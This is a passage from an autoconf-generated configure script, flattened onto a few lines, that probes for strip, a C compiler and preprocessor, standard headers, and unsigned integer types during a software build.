user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_STRIP="${ac_tool_prefix}strip" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi STRIP=$ac_cv_prog_STRIP if test -n "$STRIP"; then echo "$as_me:$LINENO: result: $STRIP" >&5 echo "${ECHO_T}$STRIP" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$ac_cv_prog_STRIP"; then ac_ct_STRIP=$STRIP # Extract the first word of "strip", so it can be a program name with args. set dummy strip; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_STRIP+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_STRIP"; then ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_STRIP="strip" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done test -z "$ac_cv_prog_ac_ct_STRIP" && ac_cv_prog_ac_ct_STRIP=":" fi fi ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP if test -n "$ac_ct_STRIP"; then echo "$as_me:$LINENO: result: $ac_ct_STRIP" >&5 echo "${ECHO_T}$ac_ct_STRIP" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi STRIP=$ac_ct_STRIP else STRIP="$ac_cv_prog_STRIP" fi fi INSTALL_STRIP_PROGRAM="\${SHELL} \$(install_sh) -c -s" # We need awk for the "check" target. The system "awk" is bad on # some platforms. ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. set dummy ${ac_tool_prefix}gcc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="${ac_tool_prefix}gcc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "gcc", so it can be a program name with args. set dummy gcc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="gcc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi CC=$ac_ct_CC else CC="$ac_cv_prog_CC" fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. set dummy ${ac_tool_prefix}cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="${ac_tool_prefix}cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi CC=$ac_ct_CC else CC="$ac_cv_prog_CC" fi fi if test -z "$CC"; then # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else ac_prog_rejected=no as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then ac_prog_rejected=yes continue fi ac_cv_prog_CC="cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done if test $ac_prog_rejected = yes; then # We found a bogon in the path, so make sure we never use it. set dummy $ac_cv_prog_CC shift if test $# != 0; then # We chose a different compiler from the bogus one. # However, it has the same basename, so the bogon will be chosen # first if we set CC to just the basename; use the full file name. shift ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" fi fi fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then for ac_prog in cl do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="$ac_tool_prefix$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$CC" && break done fi if test -z "$CC"; then ac_ct_CC=$CC for ac_prog in cl do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$ac_ct_CC" && break done CC=$ac_ct_CC fi fi test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH See \`config.log' for more details." >&5 echo "$as_me: error: no acceptable C compiler found in \$PATH See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } # Provide some information about the compiler. echo "$as_me:$LINENO:" \ "checking for C compiler version" >&5 ac_compiler=`set X $ac_compile; echo $2` { (eval echo "$as_me:$LINENO: \"$ac_compiler --version &5\"") >&5 (eval $ac_compiler --version &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } { (eval echo "$as_me:$LINENO: \"$ac_compiler -v &5\"") >&5 (eval $ac_compiler -v &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } { (eval echo "$as_me:$LINENO: \"$ac_compiler -V &5\"") >&5 (eval $ac_compiler -V &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { ; return 0; } _ACEOF ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files a.out a.exe b.out" # Try to create an executable without -o first, disregard a.out. # It will help us diagnose broken compilers, and finding out an intuition # of exeext. echo "$as_me:$LINENO: checking for C compiler default output" >&5 echo $ECHO_N "checking for C compiler default output... $ECHO_C" >&6 ac_link_default=`echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` if { (eval echo "$as_me:$LINENO: \"$ac_link_default\"") >&5 (eval $ac_link_default) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; then # Find the output, starting from the most likely. This scheme is # not robust to junk in `.', hence go to wildcards (a.*) only as a last # resort. # Be careful to initialize this variable, since it used to be cached. # Otherwise an old cache value of `no' led to `EXEEXT = no' in a Makefile. ac_cv_exeext= # b.out is created by i960 compilers. for ac_file in a_out.exe a.exe conftest.exe a.out conftest a.* conftest.* b.out do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj ) ;; conftest.$ac_ext ) # This is the source file. ;; [ab].out ) # We found the default executable, but exeext='' is most # certainly right. break;; *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` # FIXME: I believe we export ac_cv_exeext for Libtool, # but it would be cool to find out if it's true. Does anybody # maintain Libtool? --akim. export ac_cv_exeext break;; * ) break;; esac done else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { echo "$as_me:$LINENO: error: C compiler cannot create executables See \`config.log' for more details." >&5 echo "$as_me: error: C compiler cannot create executables See \`config.log' for more details." >&2;} { (exit 77); exit 77; }; } fi ac_exeext=$ac_cv_exeext echo "$as_me:$LINENO: result: $ac_file" >&5 echo "${ECHO_T}$ac_file" >&6 # Check the compiler produces executables we can run. If not, either # the compiler is broken, or we cross compile. echo "$as_me:$LINENO: checking whether the C compiler works" >&5 echo $ECHO_N "checking whether the C compiler works... $ECHO_C" >&6 # FIXME: These cross compiler hacks should be removed for Autoconf 3.0 # If not cross compiling, check that we can run a simple program. if test "$cross_compiling" != yes; then if { ac_try='./$ac_file' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then cross_compiling=no else if test "$cross_compiling" = maybe; then cross_compiling=yes else { { echo "$as_me:$LINENO: error: cannot run C compiled programs. If you meant to cross compile, use \`--host'. See \`config.log' for more details." >&5 echo "$as_me: error: cannot run C compiled programs. If you meant to cross compile, use \`--host'. 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Now check whether non-existent headers # can be detected and how. cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then # Broken: success on invalid input. continue else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then break fi done ac_cv_prog_CPP=$CPP fi CPP=$ac_cv_prog_CPP else ac_cv_prog_CPP=$CPP fi echo "$as_me:$LINENO: result: $CPP" >&5 echo "${ECHO_T}$CPP" >&6 ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether non-existent headers # can be detected and how. cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then # Broken: success on invalid input. continue else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then : else { { echo "$as_me:$LINENO: error: C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details." >&5 echo "$as_me: error: C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu echo "$as_me:$LINENO: checking for egrep" >&5 echo $ECHO_N "checking for egrep... $ECHO_C" >&6 if test "${ac_cv_prog_egrep+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if echo a | (grep -E '(a|b)') >/dev/null 2>&1 then ac_cv_prog_egrep='grep -E' else ac_cv_prog_egrep='egrep' fi fi echo "$as_me:$LINENO: result: $ac_cv_prog_egrep" >&5 echo "${ECHO_T}$ac_cv_prog_egrep" >&6 EGREP=$ac_cv_prog_egrep echo "$as_me:$LINENO: checking for ANSI C header files" >&5 echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6 if test "${ac_cv_header_stdc+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include #include #include int main () { ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_header_stdc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_header_stdc=no fi rm -f conftest.$ac_objext conftest.$ac_ext if test $ac_cv_header_stdc = yes; then # SunOS 4.x string.h does not declare mem*, contrary to ANSI. cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "memchr" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "free" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. if test "$cross_compiling" = yes; then : else cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #if ((' ' & 0x0FF) == 0x020) # define ISLOWER(c) ('a' <= (c) && (c) <= 'z') # define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) #else # define ISLOWER(c) \ (('a' <= (c) && (c) <= 'i') \ || ('j' <= (c) && (c) <= 'r') \ || ('s' <= (c) && (c) <= 'z')) # define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) #endif #define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) int main () { int i; for (i = 0; i < 256; i++) if (XOR (islower (i), ISLOWER (i)) || toupper (i) != TOUPPER (i)) exit(2); exit (0); } _ACEOF rm -f conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='./conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then : else echo "$as_me: program exited with status $ac_status" >&5 echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ( exit $ac_status ) ac_cv_header_stdc=no fi rm -f core core.* *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext fi fi fi echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5 echo "${ECHO_T}$ac_cv_header_stdc" >&6 if test $ac_cv_header_stdc = yes; then cat >>confdefs.h <<\_ACEOF #define STDC_HEADERS 1 _ACEOF fi # On IRIX 5.3, sys/types and inttypes.h are conflicting. for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ inttypes.h stdint.h unistd.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then eval "$as_ac_Header=yes" else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 eval "$as_ac_Header=no" fi rm -f conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done echo "$as_me:$LINENO: checking for u_int8_t" >&5 echo $ECHO_N "checking for u_int8_t... $ECHO_C" >&6 if test "${ac_cv_type_u_int8_t+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default int main () { if ((u_int8_t *) 0) return 0; if (sizeof (u_int8_t)) return 0; ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_type_u_int8_t=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_type_u_int8_t=no fi rm -f conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_type_u_int8_t" >&5 echo "${ECHO_T}$ac_cv_type_u_int8_t" >&6 if test $ac_cv_type_u_int8_t = yes; then : else cat >>confdefs.h <<_ACEOF #define u_int8_t unsigned char _ACEOF fi echo "$as_me:$LINENO: checking for u_int16_t" >&5 echo $ECHO_N "checking for u_int16_t... $ECHO_C" >&6 if test "${ac_cv_type_u_int16_t+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default int main () { if ((u_int16_t *) 0) return 0; if (sizeof (u_int16_t)) return 0; ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_type_u_int16_t=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_type_u_int16_t=no fi rm -f conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_type_u_int16_t" >&5 echo "${ECHO_T}$ac_cv_type_u_int16_t" >&6 if test $ac_cv_type_u_int16_t = yes; then : else cat >>confdefs.h <<_ACEOF #define u_int16_t unsigned short _ACEOF fi echo "$as_me:$LINENO: checking for u_int32_t" >&5 echo $ECHO_N "checking for u_int32_t... $ECHO_C" >&6 if test "${ac_cv_type_u_int32_t+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default int main () { if ((u_int32_t *) 0) return 0; if (sizeof (u_int32_t)) return 0; ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_type_u_int32_t=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_type_u_int32_t=no fi rm -f conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_type_u_int32_t" >&5 echo "${ECHO_T}$ac_cv_type_u_int32_t" >&6 if test $ac_cv_type_u_int32_t = yes; then : else cat >>confdefs.h <<_ACEOF #define u_int32_t unsigned int _ACEOF fi echo "$as_me:$LINENO: checking for u_int64_t" >&5 echo $ECHO_N "checking for u_int64_t... $ECHO_C" >&6 if test "${ac_cv_type_u_int64_t+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat 